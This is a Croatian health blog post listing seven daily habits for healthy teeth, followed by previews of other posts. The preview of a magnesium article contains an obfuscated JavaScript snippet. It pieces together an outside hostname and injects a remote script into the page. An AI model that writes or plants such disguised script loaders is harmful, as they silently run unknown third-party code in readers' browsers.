7 NAVIKA KOJE ČUVAJU ZDRAVLJE ZUBI I OSMIJEH


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


7 navika koje čuvaju zdravlje zubi i osmijeh 




Osmijeh je jedan od prvih detalja koje primijetimo na drugoj osobi, ali i važan pokazatelj općeg zdravlja. Dobra vijest je da se zdravlje zubi u velikoj mjeri može očuvati svakodnevnim navikama. Pravilna higijena, pametan izbor proizvoda i uravnotežena prehrana čine osnovu prevencije, a uz nekoliko jednostavnih pravila moguće je dugoročno sačuvati blistav osmijeh.





Pravilno pranje zubi kao temelj oralne higijene

Redovito pranje uklanja naslage, bakterije i ostatke hrane koji mogu uzrokovati karijes i upale desni. Preporučuje se prati zube barem dva puta dnevno, ujutro i navečer, uz temeljito čišćenje svih površina zuba i jezika. Dosljednost je važnija od savršenstva tehnike jer upravo kontinuitet donosi rezultate.



Kako odabrati pravu četkicu za zube

Na tržištu postoji velik izbor četkica različitih veličina i tvrdoće vlakana. Većini ljudi najbolje odgovaraju mekše ili srednje tvrde četkice jer učinkovito čiste, a pritom su nježne prema desnima. Električne četkice posljednjih su godina postale popularne jer olakšavaju pravilno četkanje i često uklanjaju više naslaga nego klasične. Njihove prednosti uključuju ujednačen pritisak, ugrađeni timer koji pomaže da zube peremo dovoljno dugo te vibracije koje dopiru do teško dostupnih mjesta. Posebno su korisne osobama s osjetljivim desnima, aparatićima ili svima koji žele preciznije čišćenje uz manje napora.



Koju pastu za zube koristiti

Kvalitetna pasta ne služi samo osvježenju daha nego i zaštiti cakline. Fluor je jedan od ključnih sastojaka jer jača strukturu zuba i povećava otpornost na kiseline koje stvaraju bakterije. Redovita upotreba odgovarajuće paste važan je dio svakodnevne zaštite.



Zašto je zubni konac važan

Prostori između zubi često ostaju nedovoljno očišćeni četkicom pa se ondje lako nakupljaju bakterije. Redovito korištenje konca pomaže ukloniti nečistoće s tih teško dostupnih mjesta i smanjuje rizik od bolesti desni i karijesa.



Prednosti vodice za ispiranje usta

Tekućine za ispiranje mogu biti koristan dodatak svakodnevnoj higijeni jer pomažu smanjiti količinu bakterija i osvježavaju dah. Važno ih je koristiti prema uputama kako bi se postigao optimalan učinak bez iritacije.



Prehrana i zdravlje zubi

Hrana bogata vlaknima, poput svježeg voća i povrća, potiče prirodno čišćenje zubi i stimulira lučenje sline koja neutralizira kiseline. S druge strane, česta konzumacija šećera i grickalica između obroka povećava rizik od karijesa. Preporučuje se izbjegavati hranu nakon večernjeg pranja zubi jer su noću uvjeti u ustima najpogodniji za razvoj bakterija.



Redoviti stomatološki pregledi kao prevencija

Kontrole kod stomatologa omogućuju rano otkrivanje promjena koje često prolaze nezamijećeno. Preventivni pregled svakih šest mjeseci može spriječiti razvoj ozbiljnijih problema i dugoročno očuvati zdravlje usne šupljine.

Zdravi zubi nisu rezultat slučajnosti nego kombinacije pravilne higijene, dobrih životnih navika i redovite stručne kontrole. Kada se sve te navike spoje u svakodnevnu rutinu, osmijeh ostaje snažan, zdrav i samouvjeren.


7 navika koje čuvaju zdravlje zubi i osmijeh


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više